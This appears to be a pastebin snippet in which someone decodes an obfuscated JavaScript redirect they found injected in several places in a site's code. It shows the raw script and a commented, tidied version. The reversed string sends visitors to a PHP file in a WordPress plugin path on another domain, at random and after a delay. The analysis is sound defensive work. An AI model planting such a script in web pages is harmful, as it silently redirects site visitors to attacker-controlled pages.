Untitled
unknown
javascript
4 years ago
1.3 kB
8
Indexable
// I have sceen the following line in several places in the code: <script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}</script>
// When I tidied it up, it looks like this. I have added the comments.
$nJe = function(n) {
if (typeof($nJe.list[n]) == "string") {
return $nJe.list[n].split("").reverse().join("");
}
// This line bacisally takes a string, converts to array, reverses it and joins it again as a new string.
return $nJe.list[n];
};
$nJe.list = ["'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth'=ferh.noitacol.tnemucod"];
// They feed the above string to the previous function.
// The above string is the reverse of the following javescript statement:
// document.location.href=http://www.btlawfirm.com/wp-content/plugins/si-contact-form/captcha-secureimage/securimage_stop.php
var number1 = Math.floor(Math.random() * 6);
if (number1 == 3) {
var delay = 18000;
setTimeout($nJe(0), delay);
}Editor is loading...